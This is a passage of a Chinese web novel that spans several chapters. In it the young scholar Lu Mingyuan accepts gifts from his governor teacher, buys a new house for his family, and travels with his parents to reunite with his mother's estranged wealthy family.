林瀚文的脚步停在了院中,目光越过紧张到几乎石化的陆从文夫妇,也越过躬身行礼的赵夫子。 他的目光不偏不倚地,落在了那个站在灯火下,身姿挺拔如竹,眼神清澈如水的十岁少年身上。 四目相对。 整个世界,仿佛在这一刻,彻底安静了下来。 林瀚文看着眼前这个身形尚显单薄,眼神却亮得惊人的少年,越看越是喜爱。 他从袖中取出一个沉甸甸的布袋,放在了桌上,发出“当”的一声闷响。 “明渊,你既入我门下,为师也不能没有表示。” 林瀚文将布袋推到陆明渊面前。 “这里是五十两纹银。你明年开春便要去林家府学,平日里笔墨纸砚,人情往来,处处都要用钱。” “这些你且收下,安心读书,莫要为这些俗物分心。” 五十两银子! 陆明渊的瞳孔微微一缩。 他下意识地便要推辞,这拜师本就是他占了天大的便宜,如何还能再收先生的钱财? “先生,这万万不可……” 他话未说完,便被一旁的赵夫子用眼神制止了。 赵夫子叹了口气,带着几分过来人的温和笑意,对陆明渊解释道。 “明渊,收下吧。瀚文兄他……他孑然一身,宦海多年,这俸禄于他而言,不过是个数字。” “如今有了你这个弟子,便如同有了半个子嗣,总想着为你做些什么。” “这钱,是他为官所得,干净得很。你若不收,反倒是让他心里不安,觉得这个老师当得不尽心。” 一番话说得情真意切,陆明渊心中一暖。 他来自后世,虽懂人情世故,却一时间没能体会到这份古典师徒关系中,近乎于父子的深沉情感。 他不再推辞,站起身来,对着林瀚文又是一个长揖。 “学生,谢过先生厚赐。” 林瀚文见他收下,脸上露出了心满意足的笑容。 他与赵夫子又叙了叙旧,谈了些分别后的趣闻轶事,眼看着窗外的天色越来越暗,终是长身而起。 “景仁兄,天色不早了,我明日一早便要起程赶赴江苏,今夜便不多叨扰了。” 他身为一省巡抚,公务何其繁忙,这次回乡祭祖,本就是从牙缝里挤出来的时间。 如今收下陆明渊这个弟子,了却了一桩天大的心事,也该是时候回归那片风云变幻的官场了。 “我送送你。” 赵夫子也站了起来,眼中有浓浓的不舍。 陆明渊自然也跟在身后。 三人一路无言,穿过寂静的街道,来到了江陵县那饱经风霜的城门下。 夜色如墨,几盏昏黄的灯笼在城楼上摇曳,将三人的影子拉得忽长忽短。 城门外,林瀚文的马车早已静候多时,几名精悍的护卫肃立在旁,见到主人前来,齐齐躬身行礼。 林瀚文转过身,看着自己这位数十年未见的老友,那张在官场上早已磨砺的波澜不惊的脸上,此刻也露出了几分真切的伤感。 “景仁兄,此去一别,山高水长,不知何日才能再见了。” 赵夫子浑浊的老眼中泛起了泪光,他用力地拍了拍林瀚文的胳膊,声音有些哽咽。 “瀚文兄,你身居高位,当以国事为重,更要……更要保重身体。” “我这把老骨头,没什么念想了,能在这江陵县看着明渊这孩子一步步成长起来,便是我此生最大的慰藉。” 林瀚文重重地点了点头,目光转向陆明渊,温声道。 “明渊,好生跟着赵夫子读书,打好根基。为师在江苏,等着你院试高中的好消息。” “学生恭送先生!” 陆明渊深深一揖。 第097章 咱们家是不是该换个大点的宅子 林瀚文不再多言,转身登上了马车。 车轮滚滚,很快便汇入了通往远方的官道,最终化作夜色中的一个黑点,消失不见。 寒风吹过城头,卷起几片枯叶。 赵夫子站在原地,久久未动,任由那冰冷的泪水划过脸颊的皱纹。 故人相逢,转瞬又别离,人生之苦,莫过于此。 陆明渊静静地陪在一旁,他能感受到这位老夫子心中的悲怆与不舍。 那是被岁月沉淀下来的友情,真挚而厚重。 许久,赵夫子才用那粗糙的袖口抹了抹眼睛,长长地吁出一口气,仿佛要将胸中的所有郁结都吐出来。 他转过头,看着陆明渊,脸上重新露出了欣慰的笑容。 “明渊啊,看到你拜入瀚文兄门下,我这辈子,算是再没什么遗憾了。” 他顿了顿,像是下定了什么决心,继续说道。 “等村里最后一批孩童的启蒙课上完,我也该动一动了。我打算搬来县城,去林家府学里寻个差事,当个清闲的夫子。” 陆明渊一怔,有些不解。 只听赵夫子继续说道:“你弟弟明泽,聪慧异常,有过目不忘之能,这等天赋,万万不可荒废了。” “我这把老骨头,别的本事没有,教个三岁孩童开蒙,还是绰绰有余的。我来了县城,正好可以亲自教导他。” 陆明渊的心头猛地一震! 他没想到,赵夫子竟为他们兄弟二人考虑至此! 为了教导陆明泽,不惜离开生活了一辈子的陆家村,搬到这陌生的县城来。 这份恩情,已然超出了寻常师生之谊。 “先生……” 陆明渊的喉头有些发堵,千言万语,最终只化作一个深深的躬身大礼。 “先生大恩,学生……没齿难忘!” 赵夫子笑着将他扶起,拍了拍他的肩膀,眼中满是慈爱。 “傻孩子,说什么傻话。你们兄弟俩,就是我这老头子晚年最大的指望。” “好了,夜深了,快些回家去吧,莫让你父母担心。” …… 回到家中,那盏熟悉的油灯依旧亮着,将小小的屋子映照得一片温暖。 王氏早已准备好了温热的饭菜,陆从文则在一旁默默地添着柴火。 见到陆明渊回来,夫妻二人连忙迎了上来。 饭桌上,一家人围坐在一起。 陆明渊将拜师林瀚文的事情原原本本地说了一遍。 他隐去了那枚“血沁竹心佩”的惊人来历,只说是师门信物。 饶是如此,也足以让陆从文和王氏震惊得半天说不出话来。 拜当朝巡抚为师! 这个消息,对于两个老实本分的庄稼人来说,不亚于平地惊雷! 陆从文激动得嘴唇都在哆嗦,端着饭碗的手抖个不停,半晌才憋出一句。 “我儿……我儿有出息了!祖宗保佑!祖宗保佑啊!” 王氏则是喜极而泣,眼泪扑簌簌地往下掉,却又连忙用袖子擦去,生怕在这大喜的日子里显得不吉利。 她看着自己儿子那张愈发俊朗沉稳的脸庞,心中充满了骄傲与自豪。 待到父母的情绪稍稍平复,陆明渊才将话题引到了另一件事上。 “爹,娘,我想……咱们家是不是该换个大点的宅子了?” 此言一出,陆从文和王氏都是一愣。 陆明渊放下筷子,认真地解释道。 “如今家里的生意渐渐好了起来,手头也宽裕了。” “更重要的是,赵夫子方才与我说,他过些时日便会搬来县城,亲自教导明泽读书。” “咱们总得给先生准备一间清净的客房吧?” 他看了一眼正埋头扒饭,吃得满嘴流油的弟弟陆明泽,继续说道。 “明泽也到了该有自己书房的年纪了。我们现在这宅子,只有四间房,实在是太过拥挤,诸多不便。” 陆从文闻言,陷入了沉思。 他是个老实人,一辈子省吃俭用惯了,换宅子这种大事,他从未想过。 倒是王氏,眼中闪过一丝意动。 她出身大户人家,自然明白一个宽敞体面的居所对于一个读书人家庭的重要性。 她看向丈夫,柔声劝道。 “当家的,我觉得渊儿说得有道理。咱们如今不是以前了,渊儿拜了林大人为师,将来是要做大学问,当大官的。” “这门面上的事,也不能太寒酸了,免得让人小瞧了去。” “再者说,咱们的生意如今也上了正轨。我那边的绣活,陈员外每个月都按时来收,月月都有十几两银子的进项。” “你那边的饭店生意,如今在县城里也是独一份,每日里流水不断,一个月下来,怕是也有个二十五六两。” “两边加起来,一月便有五十多两银子的收入。除去日常开销,也能攒下不少。” 五十多两! 这个数字从王氏口中说出,让陆从文也吃了一惊。 他每日只顾着埋头收野味,还真没仔细算过这笔账。 如今一听,才发觉自家的日子,竟在不知不觉间,已然发生了翻天覆地的变化。 王氏看着丈夫脸上的惊愕,心中也是一阵感慨。 她继续说道:“这县城里的宅子,我看过了,买个带两进院子的,差不多也就一百五十两到二百两银子。” “咱们家这些日子的积蓄,还有……还有我压箱底的一些首饰,凑一凑,付个首付是够了的。” 她顿了顿,目光变得坚定。 “以后渊儿和明泽都要读书,都要娶妻生子,这小房子,哪里够住?” “咱们现在辛苦一点,换个大宅子,也是为了孩子们将来打算。” “总不能让渊儿将来中了举,当了官,还让同僚们笑话他家里连个像样的书房都没有吧?” 这番话,彻底说到了陆从文的心坎里。 他可以自己吃苦受累,但绝不能让儿子被人看轻。 他想起儿子在县试上夺魁时的风光,又想到儿子刚刚拜了一位巡抚大人为师,那颗老实本分的心,也变得滚烫起来。 是啊,时代不同了。 他的儿子,注定要走上一条和他完全不同的路。 作为父亲,他不能再用过去的老眼光,拖了孩子的后腿。 “好!” 陆从文猛地一拍大腿,下了决心。 “换!咱们就换个大宅子!让渊儿和明泽,都能有敞敞亮亮的书房读书!” 第098章 区区四百两的宅子而已! 五日光景一晃而过! 第五日的午后,一个人的到来,打破了这份平稳。 来人是四宝斋的张老板,他依旧是一身锦缎长衫,脸上挂着生意人特有的精明而和善的笑容。 只是今日,他的笑容里,比往常更多了几分热络与郑重。 “陆小相公,叨扰了,叨扰了!” 张老板一进门,便对着正在院中看书的陆明渊拱手作揖,姿态放得极低。 陆明渊放下手中的书卷,起身还礼,微笑道。 “张老板客气了,快请屋里坐。” 他将张老板引入堂屋,王氏闻声端来了新沏的热茶。 张老板小心翼翼地捧着茶杯,呷了一口,这才开口,语气中带着一丝邀功般的兴奋。 “陆小相公,你前些日子托我打听的宅子,有眉目了!” 陆明渊心中一动,面上却依旧平静:“哦?还请张老板细说。” “何止是有眉目,简直是天上掉下来的好机缘!” 张老板身体微微前倾,压低了声音,神秘兮兮地说道。 “就在县衙旁边那条青石街上,住的可都是咱们江陵县有头有脸的人物。一栋两进两出的大宅子,带花园,带鱼池,敞亮得很!” 陆明渊的眉头微微一挑。县衙旁的那条街,他知道,是江陵县真正的富贵之地。 寻常人家,便是有钱也未必能挤得进去。 “那宅子的主人,是一位绸缎商,也是前任县丞刘大人的亲戚。” “去年刘大人高升,去了京都,这绸缎商的生意也迁往了京都,这宅子便急着出手。” 张老板说到这里,脸上浮现出一抹奇异的神色。 “那人传回信来,说若是陆小相公您要买,便给个方便。” 他伸出两根手指,比划了一下。 “二百两!宅子里所有的家具,一概不搬,全是上好的红木,全都留给您!陆小相公,您是读书人,明事理。” “那地段的宅子,光是空的,就没下过三百两!再加上这一屋子的红木家具,没个四百两,想都不要想!” “如今只卖二百两,这……这简直就是白送啊!” 张老板说得唾沫横飞,眼中满是艳羡。 这等好事,他做了半辈子生意,也是头一回见。 陆明渊静静地听着,心中却是一片雪亮。 对方无外乎是想要卖他一个人情! 县试府试双魁首,日后不出意外,中一个进士应当是轻而易举! 保不齐就是哪个县衙的县太爷! 日后总归有交集的! 他不喜欢这种人情债,尤其是这种来自官场的人情。 它就像一个看不见的钩子,今日你贪了便宜,来日便不知要用什么去还。 他如今手头宽裕,县试地赏银,福来客栈的润笔,加上卖话本的分红,零零总总加起来,已近一千五百两之巨。 区区四百两的宅子,他并非买不起。 可转念一想,江陵县就这么大,青石街那样的好地段,宅子本就是一栋难求。 错过了这个,再想找个合适的,不知要等到猴年马月。 赵夫子那边还等着搬来县城,弟弟明泽的启蒙也耽误不得。 罢了。 陆明渊心中有了计较。 这人情,先接下。 宅子,先买了。 至于将来如何还,便看那位刘大人的胃口了。 若是寻常请托,帮衬一二也无妨。 若是想图谋不轨,那便休怪自己翻脸不认人。 区区二百两银子的差价,他还还得起。 想到这里,他抬起头,对张老板淡然一笑。 “既是如此,那便有劳张老板,带我去看一看宅子吧。” 张老板见他答应得如此爽快,脸上笑开了花,连忙起身。 “应当的,应当的!陆小相公,请!” 两人一前一后,穿过几条街巷,很快便来到了那条青石铺就的长街。 与陆家所在巷子的喧闹不同,这里显得格外幽静。 街道两旁是高大的院墙,一色的青砖灰瓦,偶有几株石榴树的枝桠探出墙头,挂着火红的果实。 空气中都仿佛弥漫着一股与众不同的安逸与威严。 张老板在一座朱漆大门前停下,门上悬着两盏精致的灯笼,门环是黄铜打造的兽首,擦得锃亮。 “就是这里了。” 他上前叩响了门环。 片刻后,大门“吱呀”一声从里面打开,一个身穿青布直裰,面容干练的中年管家走了出来。 他先是审视地看了张老板一眼,随即目光便落在了陆明渊身上。 当看到陆明渊那虽然年幼却气度不凡的模样时,眼中闪过一丝了然。 “这位便是陆小相公吧?” 管家躬身行礼,态度恭谨。 “我家主人离京前有过交代,若是陆小相公前来,务必好生招待。二位,请进。” 陆明渊点了点头,随着管家和张老板走进了这座即将属于他的宅院。 一入大门,便是一个宽敞的影壁,上面雕刻着“福”字。 绕过影壁,眼前豁然开朗。 这是一个打理得井井有条的前院,青石板铺地,两侧种着桂花树,虽已过花期,但空气中依旧残留着一丝若有若无的甜香。 穿过前院,便是正堂。 堂屋宽敞明亮,正中摆着一张八仙桌,配着四把太师椅,皆是纹理细密的红木所制,打磨得光滑如镜。 墙上挂着几幅山水字画,虽非名家手笔,却也颇具意境,为这厅堂平添了几分书卷气。 管家在一旁介绍道:“这宅子是两进的格局。前院是待客的正堂、厢房。” “后院则是主人家的卧房、书房,还有一个小花园。东西两侧各有耳房,可作下人房或库房之用。” 他引着陆明渊继续往里走,穿过一道月亮门,便进入了后院。 后院比前院更显清幽雅致。 一条碎石小径蜿蜒穿过一片小小的竹林,竹林旁是一个半月形的池塘,几尾锦鲤在水中悠闲地游弋。 池塘边,还有一座小巧的凉亭。 “这后院有三间正房,两间厢房。” 管家指着那排屋子说道,“东边那间,采光最好,我家主人之前一直用作书房。” 陆明渊推门而入,一股浓郁的墨香扑面而来。 书房极大,靠墙是一整面墙的书架,上面还零散地放着一些书籍。 一张宽大的书案临窗而设,案上笔墨纸砚一应俱全。 阳光透过窗棂洒进来,在地上投下斑驳的光影,显得静谧而安详。 陆明渊仔仔细细地将整个宅子都看了一遍,心中愈发满意。 无论是格局、采光还是陈设,都远超他的预期。 “陆小相公,您看如何?” 张老板在一旁小心翼翼地问道。 陆明渊转头看向那名管家,平静地问道。 “敢问管家,这宅子的价格与地契事宜?” 管家恭敬地回答:“回陆小相公,我家主人说了,宅子连同所有家具,一共就是二百两纹银,不议价。” “您若是满意,咱们现在就可以去县衙办理过户手续。只要银货两讫,这地契便是您的了。” “好。” 陆明渊没有丝毫犹豫,干脆利落地答应下来,“我们现在就去县衙。” 他的爽快让管家和张老板都微微一愣,随即脸上都露出了钦佩的神色。 这位陆小相公,年纪虽小,行事却有雷霆之风,果然不是池中之物。 事情办得出奇的顺利。 在县衙的书吏房,管家出示了原有的地契和刘县丞亲笔签押的转让文书。 陆明渊则当场点清了二百两雪花纹银,交到了管家手中。 银货两讫,书吏当即便取出了新的地契,用工整的小楷写上了户主“陆明渊”的名字,然后盖上了县衙的朱红大印。 当那张还带着墨香和印泥气息的崭新地契交到陆明渊手中时,他感觉到了一种前所未有的踏实感。 处理完所有事情,谢过了张老板,陆明渊独自一人,再次回到了那座朱漆大门前。 他掏出管家交给他的那串沉甸甸的钥匙,插入锁孔,轻轻一转。 “咯吱——” 厚重的大门应声而开,夕阳的余晖将他的影子拉得很长,洒满了门前的青石板路。 是时候,去村里接赵夫子了。 这个念头在心中升起,陆明渊的嘴角,勾起了一抹笑意。 第099章 一起回去!衣锦还乡! 次日,天光微亮,陆明渊便起身了。 他去了县里的牙行,花了一两碎银,雇了四名精壮的汉子和两辆板车。 搬家的过程,比想象中要快得多。 其实陆家也没什么值钱的东西,不过是几件半旧的衣裳,一套用了多年的锅碗瓢盆。 汉子们手脚麻利,不过半个时辰,便将所有家当都搬上了车。 街坊邻里们闻声而出,看着这番动静,眼中满是惊奇与艳羡。 他们看着陆家的板车从狭窄的巷弄里吱呀呀地驶出,奔向那条他们平日里只敢远远观望的青石大街。 新的宅邸,静静地矗立在晨曦之中。 当陆从文和王氏踏入那朱漆大门,看到那宽敞的庭院,雅致的厅堂,以及那一屋子崭新如初的红木家具时,两个操劳了半辈子的人,都有些手足无措。 王氏的眼圈一下子就红了。 陆明渊没有多说什么,只是默默地将那串沉甸甸的钥匙,交到了母亲的手中。 王氏接过钥匙,泪水终于忍不住滑落。 仅仅用了半天功夫,一切便已尘埃落定。 陆明渊亲自去换了全新的门锁,又取来笔墨纸砚,站在大门前,凝神片刻,挥毫写下了两个大字——陆府。 那字迹,铁钩银画,力透纸背,笔锋间既有少年人的锐气,又蕴含着一丝不属于这个年纪的沉稳与磅礴。 当那块崭新的牌匾挂上门楣时,整座宅邸的气象,似乎都为之一变。 日子,便在这座名为“陆府”的新宅中,翻开了崭新的一页。 枯燥而充实的求学生活,再次成为了陆明渊生命的主旋律。 每日清晨,他迎着朝露去往林家府学,听先生讲经义,与同窗论文章。 午后,则沉浸于藏书楼那浩如烟海的典籍之中。 回到家中,便是在那间宽敞明亮的新书房里,临帖练字。 时光荏苒,倏忽半月。 江陵县的天气一日冷过一日,终于在一个清冷的早晨,迎来了入冬的第一场雪。 细碎的雪粒子先是淅淅沥沥,而后便化作了纷纷扬扬的鹅毛大雪。 不过半日功夫,便将整个江陵县妆点成了一个银装素裹的世界。 陆府的青砖灰瓦上,覆了厚厚的一层白,院中的桂花树枝头,也缀满了晶莹的雪团,煞是好看。 天气一冷,年关也便近了。 街头巷尾,开始弥漫起采办年货的喧嚣与喜庆。 这天晚上,一家人围坐在正堂的炭火盆边,暖意融融。 窗外风雪呼啸,屋内却温暖如春。 王氏一边为小儿子掖好被角,一边状似不经意地开了口,声音里带着一丝不易察觉的试探与紧张。 “明渊,如今……已是腊月了。” 陆明渊正捧着一卷书看得入神,闻言抬起头,看到母亲那欲言又止的神情,心中便已了然。 他放下书卷,温和地笑道:“是啊,娘,又快过年了。” 王氏的手指,无意识地绞着衣角,她看着儿子平静的眼眸,犹豫了许久,才轻声说道。 “娘在想……咱们……是不是该回你外公家一趟?算起来,娘已经……快十年没回去了。” 说到最后几个字,她的声音低了下去,带着一丝近乡情怯的忐忑。 她知道,儿子如今正是求学的关键时候,府学里的课业一日都耽搁不得。 从江陵县到她娘家所在的清远县,一来一回,路上便要三天,若是再盘桓几日,至少要耽误五六天的功夫。 她怕儿子不愿,更怕因为自己的一点私心,影响了儿子的前程。 陆明渊静静地看着母亲。 他看到母亲眼中那深切的期盼,也看到那期盼之下,隐藏着的自卑与不安。 这十年里,母亲从一个大户人家的千金,变成了一个为柴米油盐操劳的农妇,变卖了嫁妆,磨粗了双手。 她嘴上不说,但心里那份想要“衣锦还乡”,想要向娘家人证明自己没有选错人的执念,却从未消散过。 如今,自己考了案首,家里搬了新宅,日子眼看着蒸蒸日上。 母亲心中那份压抑了十年的念想,终于如雪后的春笋般,再也按捺不住了。 他心中微微一酸,随即脸上绽开一个温暖的笑容,语气不容置疑地说道。 “娘,您说得对,是该回去了。” 王氏猛地抬起头,眼中闪过一丝惊喜和不敢置信。 陆明渊继续说道:“不但要回,而且不能您一个人回。明天,我便去跟先生告个假。” “让爹把饭店交给张掌柜打理几日。我们一家人,一起回去!” 他顿了顿,看着母亲湿润的眼眶,一字一句,清晰而坚定地说道。 “过去这些年,苦了您了。这一次回去,我们一定要风风光光的,让外公外婆,还有舅舅他们都看看,我娘没有嫁错人,您的儿子,有出息了!” 话音刚落,门帘一挑,陆从文拎着一块用荷叶包着的熟牛肉,从外面的风雪中走了进来。 他恰好听到了儿子最后那番话,高大的身躯微微一震,一股热流瞬间涌上心头。 他将牛肉放在桌上,拍了拍身上的落雪,走到妻子身边。 看着她泪光闪烁的模样,这个不善言辞的汉子,也难得地柔声说道:“明渊说得对!是该回去了!” 他伸出粗糙的大手,握住妻子微凉的手,眼中满是愧疚与心疼。 “这些年,委屈你了。为了这个家,你把嫁妆都变卖光了,就剩下你娘给你的那只镯子……” “这些,我都记在心里。如今,是沾了儿子的光,咱们的日子好过了,以前吃的那些苦,都过去了!” 陆从文深吸一口气,声音变得洪亮起来。 “这次回去,咱们就风风光光地回去!多置办些年礼,给你爹娘,给你哥嫂,还有王家那些大大小小的亲戚,都带上一份厚礼!” “让他们都瞧瞧,我陆从文的婆娘,是天底下最好的婆娘!” 听着丈夫和儿子这番话,王氏再也绷不住了。 她“哇”的一声哭了出来,却不是伤心,而是十年委屈尽数释放的畅快与感动。 她一头扎进丈夫宽阔而温暖的怀里,带着哭腔嗔怪道。 “你……你也学坏了,跟着儿子一起取笑我……” 她抬起泪眼朦胧的脸,哽咽着说。 “哪……哪用得着那么大张旗鼓的,过年回去看看,一家人团聚一下,就……就够了。” 陆从文却是咧嘴一笑,毫不在意地说道。 “那不行!这事儿,听我和儿子的!礼物得好好准备,排场也得有!必须风风光光的!” 第100章 回到王家 接下来的两日,陆家便为了这次的“还乡”,彻底忙碌了起来。 苏杭的上好绸缎,陈年的女儿红,城南“李记”最出名的糕点,用精致的食盒装了满满四层,给王家的孩子们尝个新鲜。 文房四宝斋里最名贵的湖笔徽墨,则是给那位素未谋面却听母亲提过多次的儒商大舅。 王氏则是在家中,将这些礼物一一细心打包,用红纸和彩绳扎好 陆明渊则负责了最关键的一环——出行。 他没有去寻常的车马行,而是通过福来客栈的掌柜,租了一辆宽敞舒适的青篷马车。 车厢内里铺着厚厚的软垫,甚至还有一个小小的炭炉,足以抵御路途的风寒。 车夫也是个经验老到的,姓孙,跑清远县这条路已有十多年,稳当可靠。 一切准备就绪,在腊月二十的清晨,天色将明未明之际,陆家一家四口,登上了前往清远县的马车。 小陆明泽第一次坐这么“豪华”的马车,兴奋得小脸通红,在宽大的车厢里爬来爬去。 不时掀开帘子的一角,对着外面银白色的世界发出“哇哇”的惊叹。 马车吱呀,驶出了江陵县城。 官道上积雪颇深,车轮碾过,留下了两道清晰的辙痕,向着遥远的东方延伸而去。 车厢内,炭炉烧得正旺,暖意融融。 陆从文将小儿子揽在怀里,不让他乱动,目光却时不时地飘向身旁的妻子。 王氏靠在软垫上,望着窗外飞速倒退的雪景,神情有些恍惚。 “在想什么?” 陆从文粗糙的手掌握住了她的,轻声问道。 王氏回过神,摇了摇头,又点了点头,声音里带着一丝缥缈。 “我在想,十年前,我就是从这条路,跟着你走的。那时候,天也是这么冷,只是没下雪。” 她的眼中,映着窗外的雪光,也映着十年的风霜。 “那时候,我总想着,等过个一两年,就带你风风光光的回来。” 陆从文的声音有些沉闷,带着深深的愧疚,“没成想,这一等,就是十年。” “都过去了。” 王氏反手握住他的手,柔声道。 “现在不是回来了吗?而且,我们还有明渊,有明泽。比什么都强。” 陆明渊坐在一旁,静静地听着父母的对话,手中捧着一卷书,目光却未曾在书页上停留。 他知道,这趟归乡之旅,对母亲而言,是一场迟到了十年的证明。 而对他来说,这是他来到这个世界后,为这个家所做的,最有意义的一件事。 马车行了一整天,在傍晚时分于一处驿站歇脚。 次日一早,又迎着晨曦继续赶路。 当马车在第二天午后,缓缓驶近一座比江陵县更为高大巍峨的城池时,一直沉默着的王氏,身子忽然微微颤抖起来。 “到了……那就是清远县。” 她的声音里,带着一丝不易察觉的哽咽。 马车行至城门下,缓缓停住,前方有进城的队伍正在排队。 穿着厚实冬袄的城卫军,正逐一检查着路引文书。 陆从文先下了车,他站在雪地里,抬头仰望着那高高的城门楼,一时间感慨万千。 上一次站在这里,他还是个二十五岁的青年。 骑着一匹神气的五花大马,胸前戴着大红花,意气风发地前来迎娶自己心爱的姑娘。 那时的他,以为凭着自己的一腔热血和满腹才学,定能给妻子一个锦绣前程。 谁曾想,世事弄人,命运多舛。 十年光阴,如白驹过隙,磨平了他的棱角,染白了他的鬓角。 再一次回到这里,物是人非,唯有这城墙,依旧如十年前那般,沉默而威严地矗立着。 车厢的帘子被一只素手轻轻掀开,王氏探出头来。 当她的目光触及那熟悉的城门时,眼泪便再也控制不住,“唰”地一下,顺着脸颊滑落。 这里是她生活了二十多年的地方,一草一木,一砖一瓦,都承载着她少女时代所有的记忆。 十年了,她以为自己早已心如止水。 可当这故乡的城门真真切切地出现在眼前时,那股汹涌的思念,还是瞬间冲垮了她所有的伪装。 “别哭,我们回来了。” 陆从文走到车边,伸出手,轻轻为妻子拭去泪水。 “嗯,回来了。” 王氏靠在丈夫的怀里,点了点头,努力平复着自己的心情。 “等会儿,就让明渊去拜见外公。” 王氏闻言,抬起泪眼,看向一旁神情沉静、气度不凡的长子,心中涌起无限的骄傲与暖意。 是啊,她回来了,不是孤身一人,不是落魄潦倒,而是带着她的丈夫,带着她引以为傲的儿子,堂堂正正地回来了。 一家人整顿好心情,由陆从文上前递交了路引。 守城的卫兵验过文书,又打量了他们身后的马车和车上的行李。 见他们衣着得体,气度不凡,便没有过多为难,挥手放行。 马车缓缓驶入城门洞,穿过那片短暂的幽暗,眼前豁然开朗。 清远县的繁华,远胜江陵。 街道皆由平整的青石板铺就,宽阔得足以容纳三辆马车并行。 街道两旁,商铺林立,酒楼、茶馆、当铺、钱庄,鳞次栉比,牌匾上的鎏金大字在雪光的映衬下熠熠生辉。 街上行人摩肩接踵,车水马龙,叫卖声、说笑声、车轮碾过青石板的声音混杂在一起。 马车没有在主街停留,而是拐了几个弯,驶入了一条更为清净雅致的街道。 这里,便是文和街。 与外面的喧嚣不同,文和街两旁栽种着耐寒的松柏,此刻枝头覆雪,更显清幽。 街道两旁,尽是高门大户,一座座深宅大院静静矗立。 朱漆大门,石雕影壁,门前威武的石狮子,无一不彰显着主人的身份与地位。 这里的任何一栋宅子,都价值不菲,至少也是三进三出的大院落,非富即贵者,根本无缘在此落户。 王家,便坐落在这条街的中段。 马车最终在一座气派的府邸前停了下来。 那是一座有着两尊石狮镇守的大宅,黑漆的大门上,两个铜制的门环擦得锃亮。 门楣之上,悬挂着一块黑底金字的牌匾,上书两个大字——王府。 看着这既熟悉又陌生的大门,王氏的心,再一次提到了嗓子眼,紧张的手心都冒出了细汗。 十年了,她不知道父母是否还在生她的气,不知道兄嫂会如何看待她这个“不速之客”。 陆明渊平静地走下马车,他抬头看了一眼那块写着“王府”的牌匾,迈步上前,叩响了王家的大门。 “咚,咚,咚。” 三声叩门声,在寂静的文和街上,显得格外清晰。 片刻之后,大门内传来一阵脚步声,接着,“吱呀”一声,一扇侧门被打开了。 一个穿着青布棉袍,须发半白的老管家从门后探出头来,有些疑惑地打量着门外的众人。 “请问,你们找谁?” 陆明渊上前一步,对着老管家躬身一礼,朗声道。 “江陵县陆从文,携妻王氏,及子明渊、明泽,前来拜访岳父王老爷,还请管家通传一声。” 他的声音清朗,不卑不亢。 那老管家听到“江陵县陆从文”和“妻王氏”这几个字时,先是愣了一下,随即浑浊的眼睛猛地睁大。 他的目光越过陆明渊,死死地落在了他身后,那个站在马车旁,面色忐忑,眼眶泛红的妇人身上。 空气,仿佛在这一刻凝固了。 老管家的嘴唇哆嗦着,看了许久,才试探着,用一种不敢置信的颤抖声音喊道。 “是……是小姐吗?是……是婉君小姐吗?” 王氏听到这个熟悉的称呼,听到自己十年未曾听闻的闺名,眼泪再也忍不住,夺眶而出。 她哽咽着,点了点头:“赵叔,是我……我回来了。” “哎呀!我的小姐啊!” 确认了身份,那被称作赵德的老管家,瞬间老泪纵横。 他一把推开大门,踉踉跄跄地跑了出来,也顾不得地上的积雪,几步冲到王氏面前。 他上上下下地打量着,一边用袖子擦着眼泪,一边语无伦次地说道。 “小姐!真的是您!您可算回来了!老奴……老奴还以为这辈子都见不着您了!” “您瘦了……这些年,您在外面,一定是吃了不少苦吧!” 老管家真情流露的关切,像一把钥匙,瞬间打开了王氏心中所有尘封的委屈与思念。 她哭着,也笑着,连连点头:“赵叔,我回来了,我过得很好,我回来看爹娘了。” “回来就好!回来就好啊!” 赵德连声说着,他擦干眼泪,目光又落在了陆从文和两个孩子身上,眼神复杂,但最终还是化作了一声长叹。 “姑爷,两位小少爷,快……快请进!外面风雪大,别冻着了!老爷和夫人在后堂念叨您好些年了,快,先进去再说!” 第101章 母凭子贵,好一个陆明渊! 王府之内,别有洞天。 穿过一道雕花影壁,绕过几丛覆着白雪的翠竹,眼前便是一条曲折的回廊。 廊柱漆色沉稳,廊下挂着一盏盏精致的羊角宫灯,虽是白日,灯未点亮,却也透着一股富贵人家的讲究与气派。 脚下的青石板路被打扫得干干净净,不见一丝积雪,显然是下人时时勤勉清扫的结果。 空气中,弥漫着一股淡淡的、熟悉的檀香味道,那是王氏记忆中,属于家的味道。 每一步,都像是踩在十年的光阴之上。 王氏攥着手帕,跟在老管家赵德身后,目光扫过四周。 这里的每一处景致,都和她离家时一模一样。 假山依旧,池水已冻,那棵她小时候最爱爬的老槐树,如今枝干愈发虬劲。 物是,人却不知是否依旧。 赵德将他们一行人引至一处温暖明亮的厅堂,堂中陈设典雅。 紫檀木的桌椅,墙上挂着名家字画,博古架上摆着各式珍奇古玩。 一尊半人高的三足铜香炉里,正燃着上好的银丝炭,将整个厅堂烘得暖意融融。 “小姐,姑爷,两位小少爷,请先在此稍坐片-刻,喝杯热茶暖暖身子。” 赵德亲自为他们倒上热气腾腾的香茗。 他看着王氏,眼神里满是疼惜。 “老奴……这就去禀报大少爷。老爷他……他这会儿正在书房,还是先让大少爷过来与您说说话。” 这番安排,显然是用了心的。 王家老爷王厚海脾气倔强,当年女儿私奔之事,气得他卧病半月,更是放出话来,从此王家再无此女。 赵德深知其中关窍,若贸然将人带到老爷面前,怕是会立刻引来一场狂风暴雨。 而大少爷王景轩,是整个王家最疼爱这个妹妹的人,由他出面,方有转圜的余地。 “有劳赵叔了。” 王氏轻声道,声音依旧带着颤音。 陆从文局促地坐在椅子上,双手放在膝盖上,显得有些手足无措。 这座宅邸的富丽堂皇,与他那江陵县的小院,简直是云泥之别。 他能感受到一种无形的压力,那是十年间,他未能给予妻子的优渥生活所带来的愧疚。 陆明渊则平静地打量着四周,神情淡然。 小明泽却是最高兴的,他从没见过这么漂亮的大房子,从软垫上滑下来,好奇地摸摸这个,看看那个。 不过他记着陆明渊的嘱咐,不敢乱跑,只在陆明渊身边打转。 赵德躬身退下,脚步匆匆地向后院行去。 厅堂内一时间陷入了沉默,只听得见炭火偶尔发出的“哔剥”声,以及窗外呼啸而过的风声。 等待的时间,仿佛被拉得格外漫长。 也不知过了多久,回廊的尽头,传来了一阵沉稳而略显急促的脚步声。 一个身穿墨绿色锦袍,头戴儒巾,面容儒雅,与王氏有五分相似的中年男子,快步走了进来。 他身形挺拔,气质沉稳,眉宇间自有一股久居上位的威严。 但此刻,那双深邃的眼眸里,却写满了激动与复杂。 正是王家嫡长子,王景轩。 他的目光,第一时间便锁定在了那个坐在椅上,身形消瘦,面带泪痕的妇人身上。 “婉君……” 王景轩的声音有些沙哑,只唤了这两个字,便再也说不下去。 